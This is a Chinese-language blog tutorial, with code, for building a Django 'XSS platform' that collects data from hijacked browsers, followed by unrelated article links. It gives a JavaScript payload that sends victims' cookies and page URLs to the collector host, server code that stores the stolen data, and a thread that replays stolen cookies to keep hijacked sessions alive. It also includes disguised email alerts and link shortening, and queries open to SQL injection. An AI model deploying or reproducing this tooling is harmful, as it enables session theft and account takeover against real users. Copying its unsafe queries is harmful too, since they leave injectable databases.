1) 简要描述

       原理十分简单2333,代码呆萌,大牛勿喷 >_<

2) 基础知识

  • XSS攻击基本原理和利用方法
  • Django框架的使用

3) Let's start

0x01

       工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:

  • python 3.7.0
  • pycharm
  • windows 10
  • mysql 8.0.15
  • Django 2.1.3

       需要用到的第三方库:

  • django
  • pymysql
  • requests

0x02

       我们先看一下XSS脚本是如何工作的

var website="http://127.0.0.1";
(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();

       这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。

       注意:这里使用AJAX可能会出现CORS跨域问题。

0x03

       先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。

"""
根据url值动态返回相应的javascript代码
"""
import pymysql,os
from user.safeio import re_check def get_info(url):
if not re_check(url,'num_letter'):
return 'default'
db = pymysql.connect('localhost','root','root','xss')
cursor = db.cursor()
cursor.execute("Select name From projects Where url='"+url+"'")
js_name = cursor.fetchone()[0]
if js_name == None:
return 'default'
else:
return (js_name) def get_js_value(url):
js_name = get_info(url)
file = '\\script\\'+js_name + '.js'
js_value = open(os.getcwd()+file).read()
js_value = js_value.replace('<-1234->',url)
return js_value
import pymysql,time
from .getscript import get_info def connect():
try:
db = pymysql.connect('localhost', 'root', 'root', 'xss')
cursor = db.cursor()
return db,cursor
except:
print('连接数据库失败,正在尝试重新连接')
connect() def put_letter(requests,url):
now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]
if 'HTTP_X_FORWARDED_FOR' in requests.META:
ip = requests.META['HTTP_X_FORWARDED_FOR']
else:
try:
ip = requests.META['REMOTE_ADDR']
except:
ip = '0.0.0.0'
ip = ip.replace("'","\'")
origin = requests.GET.get('location','Unknown').replace("'","\'")
software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
method = requests.method.replace("'","\'")
data = requests.GET.get('cookie','No data').replace("'","\'")
keep_alive = requests.GET.get('keepsession','0').replace("'","\'")
list = [now_time,ip,origin,software,method,data,keep_alive]
put_mysql(list,url) def put_mysql(list,url):
db,cursor = connect()
name = get_info(url)
cursor.execute("Select user From projects Where url='"+url+"'")
user = cursor.fetchone()[0]
m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
cursor.execute(m_query)
db.commit()
db.close() def get_letters(username):
db, cursor = connect()
m_query = "SELECT * FROM letters WHERE user = '{}'"
m_query = m_query.format(username)
cursor.execute(m_query)
result_list = cursor.fetchall()
return result_list

       既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。

0x04

       我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等

#coding=utf-8

'''
邮件发送
''' import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr my_sender='xxxx'
my_pass = 'xxxx' def send_mail(user_mail):
try:
print(user_mail)
msg=MIMEText('您点的外卖已送达,请登录平台查询','plain','utf-8')
msg['From']=formataddr(["XSS平台",my_sender])
msg['To']=formataddr(["顾客",user_mail])
msg['Subject']="您点的外卖已送达,请登录平台查询"
server=smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(my_sender, my_pass)
server.sendmail(my_sender,[user_mail,],msg.as_string())
server.quit()
except Exception:
pass
'''
使用独立于主线程的其他线程
来保持通用项目的cookie信息'活性'
默认保持一个小时的活性
''' import requests,queue,time,pymysql Cookie_Time = 1 def decrease(time,number):
if time < number:
time = '0'+str(time)
else:
time = str(time)
return time def count_time(now_time):
global Cookie_Time
year = int(now_time[0:2])
month = int(now_time[3:5])
day = int(now_time[6:8])
hours = int(now_time[9:11])
if hours < Cookie_Time:
if day == 1:
if month == 1:
month=12
year -= 1
else:
day=30
month -= 1
else:
day -= 1
hours += 19
else:
hours -= 5
hours = decrease(hours,10)
day = decrease(day,10)
month = decrease(month,10)
year = decrease(year,10)
dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]
return dec_time def create_queue():
Cookie_queue = queue.Queue()
now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]
dec_time = count_time(now_time)
m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)
db = pymysql.connect('127.0.0.1','root','root','xss')
cursor = db.cursor()
cursor.execute(m_query)
return_list = cursor.fetchall()
for x in return_list:
Cookie_queue.put(x)
return Cookie_queue def action():
while True:
time.sleep(60)
task_queue = create_queue()
while not task_queue.empty():
tasks = task_queue.get()
url = tasks[1]
ua = tasks[0]
cookie = tasks[2]
headers = {'User-Agent': ua, 'Cookie': cookie}
try:
requests.get(url, headers=headers)
except:
pass

       注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:

import threading
from xssplatform.keep_alive import action class keep_Thread(threading.Thread):
def __init__(self):
super(keep_Thread,self).__init__()
def run(self):
action() if __name__ == '__main__':
th = keep_Thread()
th.start()

短链接:

'''
短链接生成
接口c7.gg
''' import requests,json Headers = {
"accept" : "application/json, text/javascript, */*; q=0.01",
"accept-encoding" : "gzip, deflate, br",
"accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",
"content-length" : "53",
"content-type" : "application/x-www-form-urlencoded; charset=UTF-8",
"origin" : "https://www.985.so",
"referer" : "https://www.985.so/",
"user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
} def url_to_short(url):
global Headers
data = {'type':'c7','url':url}
r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
list = json.loads(r.text)
return list['list']

4) 最后

       其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。

       此项目已开源于Github,有任何问题可以提交issue,我会在第一时间进行回复。

       我不会不断更新此项目,感兴趣的朋友可以多多关注我的博客。

使用Django简单编写一个XSS平台的更多相关文章

  1. 怎样简单编写一个html网页

    # 转载请留言联系 一个HTML的基本结构如下: <!DOCTYPE html> <html lang="en"> <head> <met ...

  2. OpenResty 简单编写一个Module

    使用 Lua module 来进行 Lua 代码的复用是推荐的做法.然后在用户代码中直接用require()来调用 module代码: local myTest = {} function myTes ...

  3. 1、编写一个简单Makefile模板

    一.Makefile简介 一个工程中的源文件不计其数,其按类型.功能.模块分别放在若干个目录中,makefile定义了一系列的规则来指定,哪些文件需要先编译,哪些文件需要后编译,哪些文件需要重新编译, ...

  4. xss平台搭建

    1. xss平台搭建 l 将xss平台源码放置在网站目录下 l 进入MySQL管理界面中的phpMyAdmin界面,新建一个XSS平台的数据库 l 修改XSS源码文件目录下的config.php中的数 ...

  5. Python学习 - 编写一个简单的web框架(一)

    自己动手写一个web框架,因为我是菜鸟,对于python的一些内建函数不是清楚,所以在写这篇文章之前需要一些python和WSGI的预备知识,这是一系列文章.这一篇只实现了如何处理url. 参考这篇文 ...

  6. web 框架的本质及自定义web框架 模板渲染jinja2 mvc 和 mtv框架 Django框架的下载安装 基于Django实现的一个简单示例

    Django基础一之web框架的本质 本节目录 一 web框架的本质及自定义web框架 二 模板渲染JinJa2 三 MVC和MTV框架 四 Django的下载安装 五 基于Django实现的一个简单 ...

  7. 用 C 语言编写一个简单的垃圾回收器

    人们似乎觉得编写垃圾回收机制是非常难的,是一种仅仅有少数智者和Hans Boehm(et al)才干理解的高深魔法.我觉得编写垃圾回收最难的地方就是内存分配,这和阅读K&R所写的malloc例 ...

  8. .Net Core 跨平台:一个简单程序的多平台(windows、Linux、osx)发布

    .Net Core 跨平台:一个简单程序的多平台(windows.Linux.osx)发布 .Net Core 3.0 已于2019年9月23日发布了,包含了一些新特性,具体参见Announcing ...

  9. Django学习 之 Django安装与一个简单的实例认识

    一.Django简介 1.MVC与MTV模型 (1)MVC模型 Web服务器开发领域里著名的MVC模式,所谓MVC就是把Web应用分为模型(M),控制器(C)和视图(V)三层,他们之间以一种插件式的. ...

随机推荐

  1. 解题:九省联考2018 IIIDX

    题面 我当时在考场上划水的时候好像乱搞搞了20pts,然后发现一堆同届的都写了55pts的贪心=.=??? 那就先说那55pts的贪心吧,这个现在看起来还是非常显然的,就是按题意来每一块是分属一个点的 ...

  2. jeecms常用的标签

    友情链接 <dt>友情链接:</dt> [@cms_friendlink_list] [#list tag_list as link] <dd><a href ...

  3. iOS11有哪些新功能?旧iPhone是否真的变慢了

    1. [iOS 11] iOS 11十大实用新功能简介 2.[iOS 11] iPhone二维码扫描,通过内建相机就可以完成! 3. iOS 11内建屏幕录制功能!再也不需要通过第三方应用录屏 4.  ...

  4. 织梦 dedecms 首页调用公司简介的内容

    首页调用公司简介的代码: {dede:sql sql='Select content,substring(content,1,300) as content from dede_arctype whe ...

  5. 一些CSS3的乐趣 - 工作也能发现乐的源头

    中秋节 translate 前些日子做一个中秋节的专题,主要就是写一个效果,月亮滚动,花瓣飘落.具体代码如下: .icons {z-index:10088; position:absolute; -w ...

  6. CSUST 1506 ZZ的计算器 模拟题

    题目描述:实现一个计算器,可以进行任意步的整数以内的加减乘除运算,运算符号只有+.-.*./,求出结果. 解题报告:一个可以说麻烦的模拟题,我们可以这样,输入以字符串的形式输入,然后将输入先做一遍预处 ...

  7. 第二篇:服务消费者(rest + ribbon)

    一. ribbon简介 ribbon是一个负载均衡客户端,可以很好的控制http和tcp的一些行为,Feign也用到了ribbon,当你使用@ FeignClient,ribbon自动被应用. Rib ...

  8. oracel 复制A列的内容到列

    update jieguo1 t set t.chinesetablename =t.tablezhushi where length(t.chinesetablename) >= 15 and ...

  9. Webservice soap wsdl区别之个人见解

    原文:http://blog.csdn.net/pautcher_0/article/details/6798351 Web Service实现业务诉求:Web Service是真正“办事”的那个,提 ...

  10. sh-copy-id命令报错:-bash: ssh-copy-id: command not found

    参考网址:http://www.bubuko.com/infodetail-1662159.html yum -y install openssh-clients